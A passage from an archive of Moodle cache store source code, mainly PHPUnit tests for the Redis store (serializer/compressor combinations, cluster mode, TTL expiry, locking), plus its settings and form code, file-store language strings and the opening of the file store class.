'c' => 'd']], ['object_stdClass', $object], ['null', null], ]; } /** * It works with different types. * * @dataProvider provider_for_test_it_works_with_different_types * @param string $key * @param mixed $value */ public function test_it_works_with_different_types($key, $value): void { $store = $this->create_store(cachestore_redis::COMPRESSOR_PHP_GZIP, \Redis::SERIALIZER_PHP); $store->set($key, $value); self::assertEquals($value, $store->get($key), "Failed set/get for: {$key}"); } /** * Test it works with different types for many. */ public function test_it_works_with_different_types_for_many(): void { $store = $this->create_store(cachestore_redis::COMPRESSOR_PHP_GZIP, \Redis::SERIALIZER_PHP); $provider = self::provider_for_test_it_works_with_different_types(); $keys = []; $values = []; $expected = []; foreach ($provider as $item) { $keys[] = $item[0]; $values[] = ['key' => $item[0], 'value' => $item[1]]; $expected[$item[0]] = $item[1]; } $store->set_many($values); $actual = $store->get_many($keys); self::assertEquals($expected, $actual); } /** * Provider for set/get combination tests. * * @return array */ public static function provider_for_tests_setget(): array { $data = [ ['none, none', \Redis::SERIALIZER_NONE, cachestore_redis::COMPRESSOR_NONE, 'value1', 'value2'], ['none, gzip', \Redis::SERIALIZER_NONE, cachestore_redis::COMPRESSOR_PHP_GZIP, gzencode('value1'), gzencode('value2')], ['php, none', \Redis::SERIALIZER_PHP, cachestore_redis::COMPRESSOR_NONE, serialize('value1'), serialize('value2')], ['php, gzip', \Redis::SERIALIZER_PHP, cachestore_redis::COMPRESSOR_PHP_GZIP, gzencode(serialize('value1')), gzencode(serialize('value2'))], ]; if (defined('Redis::SERIALIZER_IGBINARY')) { $data[] = [ 'igbinary, none', \Redis::SERIALIZER_IGBINARY, cachestore_redis::COMPRESSOR_NONE, igbinary_serialize('value1'), igbinary_serialize('value2'), ]; $data[] = [ 'igbinary, gzip', \Redis::SERIALIZER_IGBINARY, cachestore_redis::COMPRESSOR_PHP_GZIP, gzencode(igbinary_serialize('value1')), gzencode(igbinary_serialize('value2')), ]; } if (extension_loaded('zstd')) { $data[] = [ 'none, zstd', \Redis::SERIALIZER_NONE, cachestore_redis::COMPRESSOR_PHP_ZSTD, zstd_compress('value1'), zstd_compress('value2'), ]; $data[] = [ 'php, zstd', \Redis::SERIALIZER_PHP, cachestore_redis::COMPRESSOR_PHP_ZSTD, zstd_compress(serialize('value1')), zstd_compress(serialize('value2')), ]; if (defined('\Redis::SERIALIZER_IGBINARY')) { $data[] = [ 'igbinary, zstd', \Redis::SERIALIZER_IGBINARY, cachestore_redis::COMPRESSOR_PHP_ZSTD, zstd_compress(igbinary_serialize('value1')), zstd_compress(igbinary_serialize('value2')), ]; } } return $data; } /** * Test we can use get and set with all combinations. * * @dataProvider provider_for_tests_setget * @requires extension Redis * @param string $name * @param int $serializer * @param int $compressor * @param string $rawexpected1 * @param string $rawexpected2 */ public function test_it_can_use_getset($name, $serializer, $compressor, $rawexpected1, $rawexpected2): void { // Create a connection with the desired serialisation. $store = $this->create_store($compressor, $serializer); $store->set('key', 'value1'); // Disable compressor and serializer to check the actual stored value. $rawstore = $this->create_store(cachestore_redis::COMPRESSOR_NONE, \Redis::SERIALIZER_NONE); $data = $store->get('key'); $rawdata = $rawstore->get('key'); self::assertSame('value1', $data, "Invalid serialisation/unserialisation for: {$name}"); self::assertSame($rawexpected1, $rawdata, "Invalid rawdata for: {$name}"); } /** * Test we can use get and set many with all combinations. * * @dataProvider provider_for_tests_setget * @requires extension Redis * @param string $name * @param int $serializer * @param int $compressor * @param string $rawexpected1 * @param string $rawexpected2 */ public function test_it_can_use_getsetmany($name, $serializer, $compressor, $rawexpected1, $rawexpected2): void { $many = [ ['key' => 'key1', 'value' => 'value1'], ['key' => 'key2', 'value' => 'value2'], ]; $keys = ['key1', 'key2']; $expectations = ['key1' => 'value1', 'key2' => 'value2']; $rawexpectations = ['key1' => $rawexpected1, 'key2' => $rawexpected2]; // Create a connection with the desired serialisation. $store = $this->create_store($compressor, $serializer); $store->set_many($many); // Disable compressor and serializer to check the actual stored value. $rawstore = $this->create_store(cachestore_redis::COMPRESSOR_NONE, \Redis::SERIALIZER_NONE); $data = $store->get_many($keys); $rawdata = $rawstore->get_many($keys); foreach ($keys as $key) { self::assertSame($expectations[$key], $data[$key], "Invalid serialisation/unserialisation for {$key} with serializer {$name}"); self::assertSame($rawexpectations[$key], $rawdata[$key], "Invalid rawdata for {$key} with serializer {$name}"); } } } stores/redis/tests/cachestore_cluster_redis_test.php000064400000015206152265337610017170 0ustar00. namespace cachestore_redis; use core_cache\definition; use core_cache\helper; use core_cache\store; use cachestore_redis; defined('MOODLE_INTERNAL') || die(); require_once(__DIR__ . '/../../../tests/fixtures/stores.php'); require_once(__DIR__ . '/../lib.php'); /** * Redis cluster test. * * If you wish to use these unit tests all you need to do is add the following definition to * your config.php file: * * define('TEST_CACHESTORE_REDIS_SERVERSCLUSTER', 'localhost:7000,localhost:7001'); * define('TEST_CACHESTORE_REDIS_ENCRYPTCLUSTER', true); * define('TEST_CACHESTORE_REDIS_AUTHCLUSTER', 'foobared'); * define('TEST_CACHESTORE_REDIS_CASCLUSTER', '/cafile/dir/ca.crt'); * * @package cachestore_redis * @author Daniel Thee Roperto * @copyright 2017 Catalyst IT Australia {@link http://www.catalyst-au.net} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * * @coversDefaultClass \cachestore_redis */ final class cachestore_cluster_redis_test extends \advanced_testcase { /** * Create a cache store for testing the Redis cluster. * * @param string|null $seed The redis cluster servers. * @return cachestore_redis The created cache store instance. */ public function create_store(?string $seed = null): cachestore_redis { global $DB; $definition = definition::load_adhoc( mode: store::MODE_APPLICATION, component: 'cachestore_redis', area: 'phpunit_test', ); $servers = $seed ?? str_replace(",", "\n", TEST_CACHESTORE_REDIS_SERVERSCLUSTER); $config = [ 'server' => $servers, 'prefix' => $DB->get_prefix(), 'clustermode' => true, ]; if (defined('TEST_CACHESTORE_REDIS_ENCRYPTCLUSTER') && TEST_CACHESTORE_REDIS_ENCRYPTCLUSTER === true) { $config['encryption'] = true; } if (defined('TEST_CACHESTORE_REDIS_AUTHCLUSTER') && TEST_CACHESTORE_REDIS_AUTHCLUSTER) { $config['password'] = TEST_CACHESTORE_REDIS_AUTHCLUSTER; } if (defined('TEST_CACHESTORE_REDIS_CASCLUSTER') && TEST_CACHESTORE_REDIS_CASCLUSTER) { $config['cafile'] = TEST_CACHESTORE_REDIS_CASCLUSTER; } $store = new cachestore_redis('TestCluster', $config); $store->initialise($definition); $store->purge(); return $store; } /** * Set up the test environment. */ public function setUp(): void { parent::setUp(); if (!cachestore_redis::are_requirements_met()) { $this->markTestSkipped('Could not test cachestore_redis with cluster, missing requirements.'); } else if (!helper::is_cluster_available()) { $this->markTestSkipped('Could not test cachestore_redis with cluster, class RedisCluster is not available.'); } else if (!defined('TEST_CACHESTORE_REDIS_SERVERSCLUSTER')) { $this->markTestSkipped('Could not test cachestore_redis with cluster, missing configuration. ' . "Example: define('TEST_CACHESTORE_REDIS_SERVERSCLUSTER', " . "'localhost:7000,localhost:7001,localhost:7002');"); } } /** * Test if the cache store can be created successfully. * * @covers ::is_ready */ public function test_it_can_create(): void { $store = $this->create_store(); $this->assertNotNull($store); $this->assertTrue($store->is_ready()); } /** * Test if the cache store trims server names correctly. * * @covers ::new_redis */ public function test_it_trims_server_names(): void { // Add a time before and spaces after the first server. Also adds a blank line before second server. $servers = explode(',', TEST_CACHESTORE_REDIS_SERVERSCLUSTER); $servers[0] = "\t" . $servers[0] . " \n"; $servers = implode("\n", $servers); $store = $this->create_store($servers); $this->assertTrue($store->is_ready()); } /** * Test if the cache store can successfully set and get a value. * * @covers ::set * @covers ::get */ public function test_it_can_setget(): void { $store = $this->create_store(); $store->set('the key', 'the value'); $actual = $store->get('the key'); $this->assertSame('the value', $actual); } /** * Test if the cache store can successfully set and get multiple values. * * @covers ::set_many * @covers ::get_many */ public function test_it_can_setget_many(): void { $store = $this->create_store(); // Create values. $values = []; $keys = []; $expected = []; for ($i = 0; $i < 10; $i++) { $key = "getkey_{$i}"; $value = "getvalue #{$i}"; $keys[] = $key; $values[] = [ 'key' => $key, 'value' => $value, ]; $expected[$key] = $value; } $store->set_many($values); $actual = $store->get_many($keys); $this->assertSame($expected, $actual); } /** * Test if the cache store is marked as not ready if it fails to connect. * * @covers ::is_ready */ public function test_it_is_marked_not_ready_if_failed_to_connect(): void { global $DB; $config = [ 'server' => "abc:123", 'prefix' => $DB->get_prefix(), 'clustermode' => true, ]; $store = new cachestore_redis('TestCluster', $config); $debugging = $this->getDebuggingMessages(); // Failed to connect should show a debugging message. $this->assertCount(1, \phpunit_util::get_debugging_messages() ); $this->assertStringContainsString('Couldn\'t map cluster keyspace using any provided seed', $debugging[0]->message); $this->resetDebugging(); $this->assertFalse($store->is_ready()); } } stores/redis/tests/ttl_test.php000064400000011035152265337610012720 0ustar00. namespace cachestore_redis; use core_cache\definition; /** * TTL support test for Redis cache. * * If you wish to use these unit tests all you need to do is add the following definition to * your config.php file. * * define('TEST_CACHESTORE_REDIS_TESTSERVERS', '127.0.0.1'); * * @package cachestore_redis * @copyright 2021 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @covers \cachestore_redis */ final class ttl_test extends \advanced_testcase { /** @var \cachestore_redis|null Cache store */ protected $store = null; public function setUp(): void { // Make sure cachestore_redis is available. require_once(__DIR__ . '/../lib.php'); if (!\cachestore_redis::are_requirements_met() || !defined('TEST_CACHESTORE_REDIS_TESTSERVERS')) { $this->markTestSkipped('Could not test cachestore_redis. Requirements are not met.'); } // Set up a Redis store with a fake definition that has TTL set to 10 seconds. $definition = definition::load('core/wibble', [ 'mode' => 1, 'simplekeys' => true, 'simpledata' => true, 'ttl' => 10, 'component' => 'core', 'area' => 'wibble', 'selectedsharingoption' => 2, 'userinputsharingkey' => '', 'sharingoptions' => 15, ]); $this->store = new \cachestore_redis('Test', \cachestore_redis::unit_test_configuration()); $this->store->initialise($definition); parent::setUp(); } protected function tearDown(): void { parent::tearDown(); if ($this->store instanceof \cachestore_redis) { $this->store->purge(); } } /** * Test calling set_many with an empty array * * Trivial test to ensure we don't trigger an ArgumentCountError when calling zAdd with invalid parameters */ public function test_set_many_empty(): void { $this->assertEquals(0, $this->store->set_many([])); } /** * Tests expiring data. */ public function test_expire_ttl(): void { $this->resetAfterTest(); // Set some data at time 100. \cachestore_redis::set_phpunit_time(100); $this->store->set('a', 1); $this->store->set('b', 2); $this->store->set_many([['key' => 'c', 'value' => 3], ['key' => 'd', 'value' => 4], ['key' => 'e', 'value' => 5], ['key' => 'f', 'value' => 6], ['key' => 'g', 'value' => 7], ['key' => 'h', 'value' => 8]]); // Set some other data at time 110, including some of the existing values. Whether the // value changes or not, its TTL should update. \cachestore_redis::set_phpunit_time(110); $this->store->set('b', 2); $this->store->set_many([['key' => 'c', 'value' => 99], ['key' => 'd', 'value' => 4]]); // Check all the data is still set. $this->assertEqualsCanonicalizing(['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h'], $this->store->find_all()); // Delete some data (to check deletion doesn't confuse expiry). $this->store->delete('f'); $this->store->delete_many(['g', 'h']); // Set time to 115 and expire data. \cachestore_redis::set_phpunit_time(115); $info = $this->store->expire_ttl(); // We are expecting keys a and e to be deleted. $this->assertEquals(2, $info['keys']); $this->assertEquals(1, $info['batches']); // Check the keys are as expected. $this->assertEqualsCanonicalizing(['b', 'c', 'd'], $this->store->find_all()); // Might as well check the values of the surviving keys. $this->assertEquals(2, $this->store->get('b')); $this->assertEquals(99, $this->store->get('c')); $this->assertEquals(4, $this->store->get('d')); } } stores/redis/tests/cachestore_redis_test.php000064400000011572152265337610015431 0ustar00. namespace cachestore_redis; use cachestore_redis; use core_cache\definition; use core_cache\store; defined('MOODLE_INTERNAL') || die(); require_once(__DIR__.'/../../../tests/fixtures/stores.php'); require_once(__DIR__.'/../lib.php'); /** * Redis cache store test. * * If you wish to use these unit tests all you need to do is add the following definition to * your config.php file. * * define('TEST_CACHESTORE_REDIS_TESTSERVERS', '127.0.0.1'); * * @package cachestore_redis * @copyright (c) 2015 Moodlerooms Inc. (http://www.moodlerooms.com) * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * * @coversDefaultClass \cachestore_redis */ final class cachestore_redis_test extends \cachestore_tests { /** @var cachestore_redis $store Redis Cache Store. */ protected $store; /** * Returns the class name. * * @return string */ protected function get_class_name(): string { return 'cachestore_redis'; } public function setUp(): void { if (!cachestore_redis::are_requirements_met() || !defined('TEST_CACHESTORE_REDIS_TESTSERVERS')) { $this->markTestSkipped('Could not test cachestore_redis. Requirements are not met.'); } parent::setUp(); } protected function tearDown(): void { parent::tearDown(); if ($this->store instanceof cachestore_redis) { $this->store->purge(); } } /** * Creates the required cachestore for the tests to run against Redis. * * @return cachestore_redis */ protected function create_cachestore_redis(): cachestore_redis { $definition = definition::load_adhoc(store::MODE_APPLICATION, 'cachestore_redis', 'phpunit_test'); $store = new cachestore_redis('Test', cachestore_redis::unit_test_configuration()); $store->initialise($definition); $this->store = $store; $store->purge(); return $store; } /** * Test methods for various operations (set and has) in the cachestore_redis class. * * @covers ::set * @covers ::has */ public function test_has(): void { $store = $this->create_cachestore_redis(); $this->assertTrue($store->set('foo', 'bar')); $this->assertTrue($store->has('foo')); $this->assertFalse($store->has('bat')); } /** * Test methods for the 'has_any' operation in the cachestore_redis class. * * @covers ::set * @covers ::has_any */ public function test_has_any(): void { $store = $this->create_cachestore_redis(); $this->assertTrue($store->set('foo', 'bar')); $this->assertTrue($store->has_any(['bat', 'foo'])); $this->assertFalse($store->has_any(['bat', 'baz'])); } /** * PHPUnit test methods for the 'has_all' operation in the cachestore_redis class. * * @covers ::set * @covers ::has_all */ public function test_has_all(): void { $store = $this->create_cachestore_redis(); $this->assertTrue($store->set('foo', 'bar')); $this->assertTrue($store->set('bat', 'baz')); $this->assertTrue($store->has_all(['foo', 'bat'])); $this->assertFalse($store->has_all(['foo', 'bat', 'this'])); } /** * Test methods for the 'lock' operations in the cachestore_redis class. * * @covers ::acquire_lock * @covers ::check_lock_state * @covers ::release_lock */ public function test_lock(): void { $store = $this->create_cachestore_redis(); $this->assertTrue($store->acquire_lock('lock', '123')); $this->assertTrue($store->check_lock_state('lock', '123')); $this->assertFalse($store->check_lock_state('lock', '321')); $this->assertNull($store->check_lock_state('notalock', '123')); $this->assertFalse($store->release_lock('lock', '321')); $this->assertTrue($store->release_lock('lock', '123')); } /** * Test method to check if the cachestore_redis instance is ready after connecting. * * @covers ::is_ready */ public function test_it_is_ready_after_connecting(): void { $store = $this->create_cachestore_redis(); $this::assertTrue($store->is_ready()); } } stores/redis/tests/store_test.php000064400000023344152265337610013257 0ustar00. namespace cachestore_redis; use core_cache\definition; use core_cache\store; use cachestore_redis; defined('MOODLE_INTERNAL') || die(); require_once(__DIR__.'/../../../tests/fixtures/stores.php'); require_once(__DIR__.'/../lib.php'); /** * Redis cache test. * * If you wish to use these unit tests all you need to do is add the following definition to * your config.php file. * * define('TEST_CACHESTORE_REDIS_TESTSERVERS', '127.0.0.1'); * * @package cachestore_redis * @covers \cachestore_redis * @copyright Copyright (c) 2015 Moodlerooms Inc. (http://www.moodlerooms.com) * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ final class store_test extends \cachestore_tests { /** * @var cachestore_redis */ protected $store; /** * Returns the MongoDB class name * * @return string */ protected function get_class_name() { return 'cachestore_redis'; } public function setUp(): void { if (!cachestore_redis::are_requirements_met() || !defined('TEST_CACHESTORE_REDIS_TESTSERVERS')) { $this->markTestSkipped('Could not test cachestore_redis. Requirements are not met.'); } parent::setUp(); } protected function tearDown(): void { parent::tearDown(); if ($this->store instanceof cachestore_redis) { $this->store->purge(); } } /** * Creates the required cachestore for the tests to run against Redis. * * @param array $extraconfig Extra configuration options for Redis instance, if any * @param bool $ttl True to use a cache definition with TTL enabled * @return cachestore_redis */ protected function create_cachestore_redis(array $extraconfig = [], bool $ttl = false): cachestore_redis { if ($ttl) { /** @var definition $definition */ $definition = definition::load('core/wibble', [ 'mode' => 1, 'simplekeys' => true, 'simpledata' => true, 'ttl' => 10, 'component' => 'core', 'area' => 'wibble', 'selectedsharingoption' => 2, 'userinputsharingkey' => '', 'sharingoptions' => 15, ]); } else { /** @var definition $definition */ $definition = definition::load_adhoc(store::MODE_APPLICATION, 'cachestore_redis', 'phpunit_test'); } $configuration = array_merge(cachestore_redis::unit_test_configuration(), $extraconfig); $store = new cachestore_redis('Test', $configuration); $store->initialise($definition); $this->store = $store; if (!$store) { $this->markTestSkipped(); } return $store; } public function test_has(): void { $store = $this->create_cachestore_redis(); $this->assertTrue($store->set('foo', 'bar')); $this->assertTrue($store->has('foo')); $this->assertFalse($store->has('bat')); } public function test_has_any(): void { $store = $this->create_cachestore_redis(); $this->assertTrue($store->set('foo', 'bar')); $this->assertTrue($store->has_any(array('bat', 'foo'))); $this->assertFalse($store->has_any(array('bat', 'baz'))); } public function test_has_all(): void { $store = $this->create_cachestore_redis(); $this->assertTrue($store->set('foo', 'bar')); $this->assertTrue($store->set('bat', 'baz')); $this->assertTrue($store->has_all(array('foo', 'bat'))); $this->assertFalse($store->has_all(array('foo', 'bat', 'this'))); } public function test_lock(): void { $store = $this->create_cachestore_redis(); $this->assertTrue($store->acquire_lock('lock', '123')); $this->assertTrue($store->check_lock_state('lock', '123')); $this->assertFalse($store->check_lock_state('lock', '321')); $this->assertNull($store->check_lock_state('notalock', '123')); $this->assertFalse($store->release_lock('lock', '321')); $this->assertTrue($store->release_lock('lock', '123')); } /** * Checks the timeout features of locking. */ public function test_lock_timeouts(): void { $store = $this->create_cachestore_redis(['lockwait' => 2, 'locktimeout' => 4]); // User 123 acquires lock. $this->assertTrue($store->acquire_lock('lock', '123')); $this->assertTrue($store->check_lock_state('lock', '123')); // User 456 tries to acquire lock - should fail after about 2 seconds. $before = microtime(true); $this->assertFalse($store->acquire_lock('lock', '456')); $after = microtime(true); $this->assertEqualsWithDelta(2, $after - $before, 1); // Wait another 3 seconds and then it should be able to get the lock because of timeout. sleep(3); $this->assertTrue($store->acquire_lock('lock', '456')); $this->assertTrue($store->check_lock_state('lock', '456')); // The first user doesn't have the lock any more. $this->assertFalse($store->check_lock_state('lock', '123')); // Releasing the lock from the first user does nothing. $this->assertFalse($store->release_lock('lock', '123')); $this->assertTrue($store->check_lock_state('lock', '456')); $this->assertTrue($store->release_lock('lock', '456')); } /** * Tests the shutdown function that is supposed to free any remaining locks. */ public function test_lock_shutdown(): void { $store = $this->create_cachestore_redis(); try { $this->assertTrue($store->acquire_lock('a', '123')); $this->assertTrue($store->acquire_lock('b', '123')); $this->assertTrue($store->acquire_lock('c', '123')); $this->assertTrue($store->check_lock_state('a', '123')); $this->assertTrue($store->check_lock_state('b', '123')); $this->assertTrue($store->check_lock_state('c', '123')); } finally { $store->shutdown_release_locks(); $this->assertDebuggingCalledCount(3); } $this->assertNull($store->check_lock_state('a', '123')); $this->assertNull($store->check_lock_state('b', '123')); $this->assertNull($store->check_lock_state('c', '123')); } /** * Tests the get_last_io_bytes function when not using compression (just returns unknown). */ public function test_get_last_io_bytes(): void { $store = $this->create_cachestore_redis(); $store->set('foo', [1, 2, 3, 4]); $this->assertEquals(store::IO_BYTES_NOT_SUPPORTED, $store->get_last_io_bytes()); $store->get('foo'); $this->assertEquals(store::IO_BYTES_NOT_SUPPORTED, $store->get_last_io_bytes()); } /** * Tests the get_last_io_bytes byte count when using compression. */ public function test_get_last_io_bytes_compressed(): void { $store = $this->create_cachestore_redis(['compressor' => cachestore_redis::COMPRESSOR_PHP_GZIP]); $alphabet = 'abcdefghijklmnopqrstuvwxyz'; $store->set('small', $alphabet); $store->set('large', str_repeat($alphabet, 10)); $store->get('small'); // Interesting 'compression'. $this->assertEquals(54, $store->get_last_io_bytes()); $store->get('large'); // This one is actually smaller than uncompressed value! $this->assertEquals(57, $store->get_last_io_bytes()); $store->get_many(['small', 'large']); $this->assertEquals(111, $store->get_last_io_bytes()); $store->set('small', str_repeat($alphabet, 2)); $this->assertEquals(56, $store->get_last_io_bytes()); $store->set_many([ ['key' => 'small', 'value' => $alphabet], ['key' => 'large', 'value' => str_repeat($alphabet, 10)] ]); $this->assertEquals(111, $store->get_last_io_bytes()); } /** * Data provider for whether cache uses TTL or not. * * @return array Array with true and false options */ public static function ttl_or_not(): array { return [ [false], [true] ]; } /** * Tests the delete_many function. * * The behaviour is different with TTL enabled so we need to test with that kind of definition * as well as a 'normal' one. * * @param bool $ttl True to test using a TTL definition * @dataProvider ttl_or_not */ public function test_delete_many(bool $ttl): void { $store = $this->create_cachestore_redis([], $ttl); // Check it works to delete selected items. $store->set('foo', 'frog'); $store->set('bar', 'amphibian'); $store->set('hmm', 'undead'); $this->store->delete_many(['foo', 'bar']); $this->assertFalse($store->get('foo')); $this->assertFalse($store->get('bar')); $this->assertEquals('undead', $store->get('hmm')); // If called with no keys it should do nothing. $store->delete_many([]); $this->assertEquals('undead', $store->get('hmm')); } } stores/redis/addinstanceform.php000064400000007531152265337610013063 0ustar00. /** * Form for adding instance of Redis Cache Store. * * @copyright 2013 Adam Durana * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cachestore_redis_addinstance_form extends cachestore_addinstance_form { /** * Builds the form for creating an instance. */ protected function configuration_definition() { $form = $this->_form; $form->addElement('advcheckbox', 'clustermode', get_string('clustermode', 'cachestore_redis'), '', cache_helper::is_cluster_available() ? '' : 'disabled'); $form->addHelpButton('clustermode', 'clustermode', 'cachestore_redis'); $form->setType('clustermode', PARAM_BOOL); $form->addElement('textarea', 'server', get_string('server', 'cachestore_redis'), ['cols' => 6, 'rows' => 10]); $form->setType('server', PARAM_TEXT); $form->addHelpButton('server', 'server', 'cachestore_redis'); $form->addRule('server', get_string('required'), 'required'); $form->addElement('advcheckbox', 'encryption', get_string('encrypt_connection', 'cachestore_redis')); $form->setType('encryption', PARAM_BOOL); $form->addHelpButton('encryption', 'encrypt_connection', 'cachestore_redis'); $form->addElement('text', 'cafile', get_string('ca_file', 'cachestore_redis')); $form->setType('cafile', PARAM_TEXT); $form->addHelpButton('cafile', 'ca_file', 'cachestore_redis'); $form->addElement('passwordunmask', 'password', get_string('password', 'cachestore_redis')); $form->setType('password', PARAM_RAW); $form->addHelpButton('password', 'password', 'cachestore_redis'); $form->addElement('text', 'prefix', get_string('prefix', 'cachestore_redis'), array('size' => 16)); $form->setType('prefix', PARAM_TEXT); // We set to text but we have a rule to limit to alphanumext. $form->addHelpButton('prefix', 'prefix', 'cachestore_redis'); $form->addRule('prefix', get_string('prefixinvalid', 'cachestore_redis'), 'regex', '#^[a-zA-Z0-9\-_]+$#'); $serializeroptions = cachestore_redis::config_get_serializer_options(); $form->addElement('select', 'serializer', get_string('useserializer', 'cachestore_redis'), $serializeroptions); $form->addHelpButton('serializer', 'useserializer', 'cachestore_redis'); $form->setDefault('serializer', Redis::SERIALIZER_PHP); $form->setType('serializer', PARAM_INT); $compressoroptions = cachestore_redis::config_get_compressor_options(); $form->addElement('select', 'compressor', get_string('usecompressor', 'cachestore_redis'), $compressoroptions); $form->addHelpButton('compressor', 'usecompressor', 'cachestore_redis'); $form->setDefault('compressor', cachestore_redis::COMPRESSOR_NONE); $form->setType('compressor', PARAM_INT); $form->addElement('text', 'connectiontimeout', get_string('connectiontimeout', 'cachestore_redis')); $form->addHelpButton('connectiontimeout', 'connectiontimeout', 'cachestore_redis'); $form->setDefault('connectiontimeout', cachestore_redis::CONNECTION_TIMEOUT); $form->setType('connectiontimeout', PARAM_INT); } } stores/redis/settings.php000064400000006147152265337610011564 0ustar00. /** * Redis Cache Store - Settings * * @package cachestore_redis * @copyright 2013 Adam Durana * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); $settings->add( new admin_setting_configcheckbox( name: 'cachestore_redis/test_clustermode', visiblename: get_string('clustermode', 'cachestore_redis'), description: cache_helper::is_cluster_available() ? get_string('clustermode_help', 'cachestore_redis') : get_string('clustermodeunavailable', 'cachestore_redis'), defaultsetting: 0, ) ); $settings->add( new admin_setting_configtextarea( name: 'cachestore_redis/test_server', visiblename: get_string('test_server', 'cachestore_redis'), description: get_string('test_server_desc', 'cachestore_redis'), defaultsetting: '', paramtype: PARAM_TEXT, ) ); $settings->add(new admin_setting_configcheckbox( 'cachestore_redis/test_encryption', get_string('encrypt_connection', 'cachestore_redis'), get_string('encrypt_connection', 'cachestore_redis'), false)); $settings->add( new admin_setting_configtext( 'cachestore_redis/test_cafile', get_string('ca_file', 'cachestore_redis'), get_string('ca_file', 'cachestore_redis'), '', PARAM_TEXT, 16 ) ); $settings->add( new admin_setting_configpasswordunmask( 'cachestore_redis/test_password', get_string('test_password', 'cachestore_redis'), get_string('test_password_desc', 'cachestore_redis'), '' ) ); if (class_exists('Redis')) { // Only if Redis is available. $options = array(Redis::SERIALIZER_PHP => get_string('serializer_php', 'cachestore_redis')); if (defined('Redis::SERIALIZER_IGBINARY')) { $options[Redis::SERIALIZER_IGBINARY] = get_string('serializer_igbinary', 'cachestore_redis'); } $settings->add(new admin_setting_configselect( 'cachestore_redis/test_serializer', get_string('test_serializer', 'cachestore_redis'), get_string('test_serializer_desc', 'cachestore_redis'), Redis::SERIALIZER_PHP, $options ) ); } $settings->add(new admin_setting_configcheckbox( 'cachestore_redis/test_ttl', get_string('test_ttl', 'cachestore_redis'), get_string('test_ttl_desc', 'cachestore_redis'), false)); stores/file/lang/en/cachestore_file.php000064400000010302152265337610014163 0ustar00. /** * The library file for the file cache store. * * This file is part of the file cache store, it contains the API for interacting with an instance of the store. * This is used as a default cache store within the Cache API. It should never be deleted. * * @package cachestore_file * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); $string['asyncpurge'] = 'Asynchronously purge directory'; $string['asyncpurge_help'] = 'If enabled, the new directory is created with cache revision and the old directory will be deleted asynchronously via a scheduled task.'; $string['autocreate'] = 'Auto create directory'; $string['autocreate_help'] = 'If enabled the directory specified in path will be automatically created if it does not already exist.'; $string['lockwait'] = 'Maximum lock wait time'; $string['lockwait_help'] = 'The maximum amount of time in seconds to wait for an exclusive lock before reading or writing a cache key. This is only used for cache definitions that have read or write locking required.'; $string['path'] = 'Cache path'; $string['path_help'] = 'The directory that should be used to store files for this cache store. If left blank (default) a directory will be automatically created in the moodledata directory. This can be used to point a file store towards a directory on a better performing drive (such as one in memory).'; $string['pluginname'] = 'File cache'; $string['privacy:metadata'] = 'The File cache cachestore plugin stores data briefly as part of its caching functionality but this data is regularly cleared.'; $string['prescan'] = 'Prescan directory'; $string['prescan_help'] = 'If enabled the directory is scanned when the cache is first used and requests for files are first checked against the scan data. This can help if you have a slow file system and are finding that file operations are causing you a bottle neck.'; $string['serializer_igbinary'] = 'Igbinary serializer'; $string['serializer_php'] = 'Default PHP serializer'; $string['singledirectory'] = 'Single directory store'; $string['singledirectory_help'] = 'If enabled files (cached items) will be stored in a single directory rather than being broken up into multiple directories. Enabling this will speed up file interactions but comes at the cost of increased risk of hitting file system limitations. It is advisable to only turn this on if the following is true: * If you know the number of items in the cache is going to be small enough that it won\'t cause issues on the file system you are running with. * The data being cached is not expensive to generate. If it is then sticking with the default may still be the better option as it reduces the chance of issues.'; $string['task_asyncpurge'] = 'Asynchronously purge file store old cache revision directories'; $string['useserializer'] = 'Use serializer'; $string['useserializer_help'] = 'The serializer to use for serializing. The igbinary serializer, if available, can reduce the storage requirements for large caches. This is supported only when the igbinary extension is loaded.'; /** * This is is like the file store, but designed for siutations where: * - many more things are likely to be stored in the cache, so CRC hashing is * too likely to give collisions, and storing everything in a completely flat * directory structure is inadvisable. * - the things we are caching are more expensive to calculate, so the extra * time to computer a better hash is a worthwhile trade-off. */ stores/file/lib.php000064400000111607152265337610010301 0ustar00. use core_cache\configurable_cache_interface; use core_cache\definition; use core_cache\key_aware_cache_interface; use core_cache\lockable_cache_interface; use core_cache\searchable_cache_interface; use core_cache\store; /** * The file store class. * * Configuration options * path: string: path to the cache directory, if left empty one will be created in the cache directory * autocreate: true, false * prescan: true, false * * @package cachestore_file * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cachestore_file extends store implements key_aware_cache_interface, configurable_cache_interface, searchable_cache_interface, lockable_cache_interface { /** * Value to represent use of the PHP serializer. */ public const SERIALIZER_PHP = 'php'; /** * Value to represent use of the Igbinary serializer. */ public const SERIALIZER_IGBINARY = 'igbinary'; /** * The name of the store. * @var string */ protected $name; /** * The path used to store files for this store and the definition it was initialised with. * @var string */ protected $path = false; /** * The path in which definition specific sub directories will be created for caching. * @var string */ protected $filestorepath = false; /** * Set to true when a prescan has been performed. * @var bool */ protected $prescan = false; /** * Set to true if we should store files within a single directory. * By default we use a nested structure in order to reduce the chance of conflicts and avoid any file system * limitations such as maximum files per directory. * @var bool */ protected $singledirectory = false; /** * Set to true when the path should be automatically created if it does not yet exist. * @var bool */ protected $autocreate = false; /** * Set to true if new cache revision directory needs to be created. Old directory will be purged asynchronously * via Schedule task. * @var bool */ protected $asyncpurge = false; /** * Set to true if a custom path is being used. * @var bool */ protected $custompath = false; /** * An array of keys we are sure about presently. * @var array */ protected $keys = array(); /** * True when the store is ready to be initialised. * @var bool */ protected $isready = false; /** * The cache definition this instance has been initialised with. * @var definition */ protected $definition; /** * Bytes read or written by last call to set()/get() or set_many()/get_many(). * * @var int */ protected $lastiobytes = 0; /** * A reference to the global $CFG object. * * You may be asking yourself why on earth this is here, but there is a good reason. * By holding onto a reference of the $CFG object we can be absolutely sure that it won't be destroyed before * we are done with it. * This makes it possible to use a cache within a destructor method for the purposes of * delayed writes. 